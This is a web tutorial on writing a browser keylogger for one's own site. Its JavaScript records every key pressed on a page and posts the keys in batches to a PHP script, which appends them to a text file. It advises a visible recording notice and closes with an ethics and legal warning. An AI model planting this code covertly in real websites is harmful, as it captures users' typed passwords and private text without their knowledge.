3 Steps Simple Keylogger With Javascript PHP (Free Download)

Welcome to a tutorial on how to create a simple keylogger with Javascript and PHP. So you need to capture all the keys that a user pressed on your website – For user case testing or for a project? Well, keyloggers are actually quite simple, and this guide will walk you through how to create one, step-by-step. Read on!

 

TLDR – QUICK SLIDES

[web_stories_embed url=”https://code-boxx.com/web-stories/simple-keylogger-with-php-javascript/” title=”Simple Keylogger With PHP Javascript” poster=”https://code-boxx.com/wp-content/uploads/2021/11/STORY-JS-20230518.webp” width=”360″ height=”600″ align=”center”]

Fullscreen Mode – Click Here

 

 

TABLE OF CONTENTS

 

 

STEP 1) THE HTML

<h1>All key presses will be recorded!</h1>
<textarea></textarea>

Well, there is nothing “special” that we have to do with the HTML. Just remember to serve a big bold notice that says “all key presses will be recorded”.

 

 

STEP 2) KEYLOG JAVASCRIPT

var keylog = {
  // (A) SETTINGS & PROPERTIES
  cache : [],      // temp storage for key presses
  delay : 2000,    // how often to send data to server
  sending : false, // flag to allow 1 upload at a time

  // (B) INITIALIZE
  init : () => {
    // (B1) CAPTURE KEY STROKES
    window.addEventListener("keydown", evt => keylog.cache.push(evt.key));
 
    // (B2) SEND KEYSTROKES TO SERVER
    window.setInterval(keylog.send, keylog.delay);
  },

  // (C) AJAX SEND KEYSTROKES
  send : () => { if (!keylog.sending && keylog.cache.length != 0) {
    // (C1) "LOCK" UNTIL THIS BATCH IS SENT TO SERVER
    keylog.sending = true;
 
    // (C2) KEYPRESS DATA
    var data = new FormData();
    data.append("keys", JSON.stringify(keylog.cache));
    keylog.cache = []; // clear keys

    // (C3) FECTH SEND
    fetch("keylog.php", { method:"POST", body:data })
    .then(res=>res.text()).then(res => {
      keylog.sending = false; // unlock
      console.log(res); // optional
    })
    .catch(err => console.error(err));
  }}
};
window.addEventListener("DOMContentLoaded", keylog.init);

Beginners may get a small panic attack, but keep calm and study slowly:

1. Just a couple of settings and properties here.
   • cache An array to temporarily hold the user key presses.
   • delay How often to send the key presses to the server. Yes, we do not want to send the key presses to the server in real-time – That will flood the server.
   • sending Boolean flag that is used to indicate an ongoing AJAX send. To prevent multiple parallel uploads and potentially mess up the key press order.
2. init() will run on page load. All it does is store keypresses in cache, and periodically call send() to upload to the server.
3. send() should be pretty self-explanatory. Simply uploads the keypresses to the server (if there is at least one keypress in cache).

 

 

STEP 3) PHP SAVE KEY STROKES

<?php
// (A) OPEN KEYLOG FILE, APPEND MODE
$file = fopen("keylog.txt", "a+");
 
// (B) SAVE KEYSTROKES
$keys = json_decode($_POST["keys"]);
foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }

// (C) CLOSE & END
fclose($file);
echo "OK";

This is a bare minimum PHP script that saves the captured keystrokes to a text file. But some of you smart code ninjas may have noticed a potential problem – The log file can get extremely big over time. So you might want to do some of your own limitations on the file size or even zip archive when it hits a certain size.

 

 

 

SORRY FOR THE ADS...

But someone has to pay the bills, and sponsors are paying for it. I insist on not turning Code Boxx into a "paid scripts" business, and I don't "block people with Adblock". Every little bit of support helps.

Buy Me A Coffee Code Boxx eBooks

 

EXAMPLE CODE DOWNLOAD

Click here for the source code on GitHub gist, just click on “download zip” or do a git clone. I have released it under the MIT license, so feel free to build on top of it or use it in your own project.

 

 

ETHICS & LAW WARNING

One last reminder and warning – It is of course, illegal and unethical to do keylogging without the user’s knowledge. So if you want to capture the keystrokes for whatever purpose, please make sure that the users are fully aware that their keystrokes are being recorded first.

 

LINKS & REFERENCES

• Event Listener – MDN
• fopen – PHP
• fwrite – PHP
• Ways To Read Files In PHP – Code Boxx
• Ways To Write Files In PHP – Code Boxx
• Example on CodePen – Javascript Keylogger

 

TUTORIAL VIDEO

 

INFOGRAPHIC CHEAT SHEET